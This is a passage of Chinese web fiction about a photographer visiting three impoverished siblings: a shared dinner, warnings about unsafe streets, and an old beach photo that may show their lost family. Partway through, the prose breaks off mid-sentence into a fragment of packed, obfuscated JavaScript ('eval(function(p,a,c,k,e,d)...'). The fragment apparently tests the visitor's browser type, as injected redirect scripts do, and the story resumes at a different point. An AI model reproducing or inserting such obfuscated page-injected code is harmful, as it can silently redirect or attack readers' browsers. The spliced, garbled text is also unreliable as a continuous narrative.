Stella还在绕着小凳子转,裙摆擦过旧地毯,发出很轻的声响。她每转一圈就低头看自己一下,像还不太相信那条浅黄色的新裙子真的穿在自己身上。Asad嘴上嫌她臭美,眼睛却一直跟着她走,怕她撞到沙发角,又怕她踩到地上散着的毛线。 Mirek靠在垫子里,身体仍旧歪着,右肩低下去,细弱的手腕垂在毛毯上,可眼睛始终停在妹妹身上,像是怎么也看不够。 过了一会儿,Stella的肚子很轻地叫了一声。声音不大,屋里却都听见了。 小女孩一下僵住,立刻低头捂住自己的肚子,脸都红了。Asad先反应过来,故意说:“裙子又不能吃,你转再多圈也不会饱。”话是这么说,人已经先撑着小凳站起来了。 他腿上的伤还没好,起身时先扶了一下桌沿,等那阵疼过去,才一瘸一拐往小厨房走。 Mirek的视线立刻从妹妹身上移过去,声音低弱,却有些急:“别站太久。水桶重,不要提。膝盖别碰到灶边。” Asad头也不回地应了几声,最后还是忍不住回头,有些无奈地看他一眼:“哥哥,我真的知道。” 他说得像个被管烦了的小男孩,手上的动作却很听话。走到水桶边时,他只拿小碗一碗一碗往锅里舀水。伤腿始终伸得直,弯腰的时候身体有些不稳,动作却已经熟得不能再熟。 秦穗站在旁边,下意识往前一步。 Mirek已经轻声开口:“让他来吧。” 秦穗停住。 Mirek垂着眼,像也知道这句话听起来有点拒绝,又很快补了一句:“东西他知道放在哪里。” 秦穗没再往厨房走,只弯腰把Stella快垂到地上的裙摆往上拢了一点,免得她蹲下时又蹭到灰。Stella乖乖站着,低头看她的手,像连被人整理裙子都觉得新鲜。 屋里很快有了小锅碰到灶台的声音。 Asad把一小袋粗麦倒进锅里,又从旧罐子里倒出一点扁豆,量不多,落进锅底时声响稀稀落落。他把锅里的水添得多了些,像这样就能把这一锅晚饭再拖长一点。 Mirek一直听着厨房的动静。确认Asad没有再乱动以后,他才把目光慢慢收回来,落到秦穗脸上。 “你今天去了哪里?”他问。 目光只轻轻扫过她的脸,就很快低垂下去。像这个问题其实已经在他心里放了很久,真问出来,却又觉得冒失。他的手在毛毯上很轻地动了一下,那点僵硬的白净手指似乎想收拢,又没能真正握住。 秦穗转头看他:“城西。供水点,临时诊疗棚。和团队一起去的。” 听见“和团队一起”,Mirek像是先松了一口气。 不是一个人去的。不是自己走那些乱巷。不是一个人背着相机在没有灯的地方绕。她身边有人,有车,有联络人,至少不是那样孤零零地在这座城市里移动。 可那口气松下去以后,他的心又很轻地沉了下去。 她有团队,有工作,有自己的路线。她有来去的自由,有离开的可能,有一整个远远大过这间屋子的世界。她昨天来,今天来,明天也许还会来,可她终究不是这里的人。 Mirek低下眼,柔声说:“那就好。” 他安静了一会儿,又慢慢开口:“城西回来,不要走旧市场后面。那边晚上没有灯,有时候有人拦路。临时诊疗棚外面那条窄路,傍晚以后也不要走。你背着相机,很容易被看见。” 他每一句都会停顿着思考,像是在把旧日的街道、弟弟带回来的消息、这些年听见的零碎危险,一点一点拼成一张他出不去的地图。 厨房那边,Asad听见了,立刻插话:“还有喷泉那边!他们会看你的包。你不要停太久。” Mirek偏过头,声音低一点:“你看锅。” Asad“哦”了一声,很快又忍不住补一句:“那个卖烟的老头也别买,他会多收钱。还有人说可以带你换钱,不要去。” 秦穗看着沙发上的Mirek,又看了一眼厨房边撑着膝盖煮晚饭的Asad。 他们能给她的实在太少了。可仍然在用自己知道的那一点东西,把这座城里能避开的坑、能绕开的路、不能信的人,一点点告诉她。 “我记住了。”秦穗轻声说,“谢谢你们告诉我,很有用。” 锅里的粗麦和扁豆煮开以后,屋里有了很淡的食物气味。Asad把半块干饼掰碎,分到三个旧碗里。轮到秦穗时,他动作停了一下,有些局促。像想问她吃不吃,又觉得这些东西太寒碜了,根本不算能拿得出手的晚饭。 秦穗在他之前先开口:“我回来的路上已经吃过了,你们吃。” Asad松了口气,对她小小地笑了一下,又好像更不好意思,把碗端到Mirek旁边时,小声说:“哥哥,今天比昨天稠一点。” Mirek轻轻看了他一眼,明白弟弟的意思,反而更心疼了些:“你自己那碗不要再少。” “没有少。”Mirek话音没落,Asad就赶紧接上。 Stella已经坐好,低着头很小心地把裙摆拉到一边,生怕汤溅上去。Asad看见了,嘴上说:“穿新裙子就不会吃饭了吗?”手却伸过去,替她把裙摆往膝盖上拢了拢。 Mirek吃得仍然很慢。 他不太愿意在秦穗面前吃东西。碗放到手边时,他低垂下睫毛,耳根有些泛红。Asad把碗递得很近,他才抬手去接。手指无法好好扣住碗沿,只能用掌根和僵硬的拇指侧抵着,手腕抖得很厉害。 秦穗识趣地低头整理相机包,把包链上那只线绳小鸟轻轻拨到一边。 等她再抬头时,Mirek已经低头吃了一口,眼睛垂着,安静又局促。 Stella吃几口就看裙子,很怕把刚刚穿上的漂亮宝贝弄脏。 Asad故意吃得慢一点,不想和哥哥拉开太大差距。屋里很安静,只有汤勺碰到旧碗边缘的轻响,还有窗边塑料布被风吹起的细微声响。 饭后,Stella抱着自己的裙摆,在秦穗身边磨了一会儿。 她想说什么,又不好意思,提着裙子害羞地跑到Asad身边,扒拉着他的耳朵说悄悄话。 Asad刚把碗收起来,见状忍不住笑了一下,替她说:“她说你刚刚用手机拍了她穿裙子,她还想看。她觉得自己今天很好看。” Stella没听懂最后那句,只听见哥哥笑,立刻有些急,转过身去小声又说了几句。Asad故意不理她,低头把碗往旁边一放,嘴角却还翘着。 秦穗看着他们,忍不住也弯了下唇,低头打开手机回放。 屏幕亮起来的时候,Stella已经忘记扒拉哥哥了,立刻迈着小步子凑近,眼巴巴看着手机里的自己。照片里,她站在旅馆那面旧镜子前,头发半干,卷得蓬松,浅黄色裙子垂到膝盖下面。她低着头看自己的裙摆,脸被热气蒸得发红,眼神却很认真。 Asad本来还想说她臭美,可看了两秒,话到嘴边又咽回去了。他低头挠了挠耳朵,只硬邦邦地说:“还行。” Stella扭头看他,撅着小脸盯着哥哥,非常不服气。 Asad被她看得没办法,终于改口:“很好看。” Stella这才高兴了,重新凑回去看照片。她的小手差点碰到屏幕,又赶紧缩回来,有些不安地看着秦穗,像怕被怪把照片碰脏。 秦穗轻声说:“没事,可以看。” Stella感受到她的情绪,才又小心翼翼地凑近,小脸几乎贴到屏幕边上,眼睛睁得圆圆的。照片里的她脸上没有灰,没有哭痕,也没有平时在门口蹲久了被风吹出来的干涩。 Mirek坐在沙发上,离得远一些。 秦穗看了一眼,便把手机拿过去,微微倾斜屏幕,让他也能看见。 他原本半靠在那几只褪色的旧垫子里,身子照旧有些向右歪。察觉她走近,本能地想把自己坐得体面一点,有些僵硬地动了动身体,可很快腰侧便先失了力,他整个人又慢慢塌回去。 哥哥垂下眼睛,睫毛快速颤动了几下,似乎为坐成这样很难堪又无能为力。 细弱的手腕垂在膝上,还残留着极快速地颤抖。 他没有再勉强,只努力定住心神重新看屏幕。 照片里的Stella干净,明亮,头发蓬松,裙摆完整,和坐在屋子里的小女孩像是同一个人,又像终于短暂回到了她本来应该有的年纪。 Mirek看了很久,眼神很轻地软下来。 “很好看。”他说。 Stella听见哥哥也这么说,立刻高兴了,拎着裙子跑到沙发边,又把头发凑过去给他闻。 小女孩像一只小狗一样拱进哥哥怀里,Mirek很轻地闷哼一声,腰后的垫子移了位,幸好Asad在旁边,眼疾手快地抵住哥哥的身体,把垫子又往里塞了点。 秦穗的手指在手机边划了一下,本想退出回放。却误触到一个名为“回忆”的文件夹。屏幕忽然跳了一下。旅馆里的镜子不见了,换成三年前的海边。 这张照片是前夫给她拍的。 那时候的她自由,松弛,眼里尽是对爱情的神往和幸福,她的眼神带着笑意,亮亮地看着镜头,或者说,看着拿镜头的人。 海边,白衬衫,头发被海风吹到脸边。那时候她比现在更亮一些,落日从她身后铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦穗顺着他的目光看过去,把照片放大。画面一下变得粗糙,颗粒浮出来,人的脸还是看不清。蓝白棚子还在,木栈道还在,那几个人影也还在,只是越放大,越像一团快要散开的旧光。 Asad的手指悬在屏幕边,没有碰上去。 “哥哥,你看这里。” Mirek抬起眼。 秦穗把手机往他那边送近一点。Mirek起初只是看,眼神还停在那片海和棚子上。过了片刻,他像是想看清那几个影子,身体下意识往前倾了一点。 他刚离开靠背一点,整个人就往右边偏下去。掌根急急压住沙发边缘,蜷着的指节抓不住布面,只把旧沙发布蹭出几道细褶。 秦穗没有扶他,只把手机又送近些,放到他不用再探身的位置。 Mirek盯着那几个模糊的人影,看得很久。 照片里那个高一点的男孩站在沙地上,脸看不清,只能看出背很直。身边是女人,是更小的孩子,还有那个抱着小孩的男人。风似乎把他的衣摆吹起了一点,他站在那里,只是站着。 Mirek的手慢慢蹭住一点沙发垫,似乎是想要抓紧,他的呼吸变得有些轻,有些急促。 Asad的声音变得有些颤抖:“哥哥,这个……是不是我们家?” 哥哥没有回答,眼睛只盯着那个清瘦的背影,不愿移开。 Stella只听见“我们家”,茫然地看了看哥哥,又看了看屏幕。她不懂那几个影子为什么会让大家忽然都不说话,只把新裙子的裙摆慢慢放下来,有些不安地往Mirek身边靠了一点。 Asad又看向那个被男人抱着的小小影子。那孩子太小,看不清脸,只能看见两条晃着的小腿,还有身上一小块浅色布料。 “那个……会不会是Stella?” Mirek没有点头,也没有摇头。 只是眼睛仍然落在屏幕上。 秦穗握着相机,没有出声。 几年前,她站在同一片海边,拍下落日和海,也把背后无数的陌生人一起带了进去。那时候,他们只是路过的游客和本地人。中间隔着热风和人群,没有谁需要谁,也没有谁回头看谁。 现在那几个模糊影子被放大,手机上的分辨率有限,越放大越看不清。 可是Asad已经不敢再眨眼。 他慢慢抬头,看向哥哥,声音似乎已经蒙上了一层水汽。 “哥哥。” “这个……好像真的是我们。”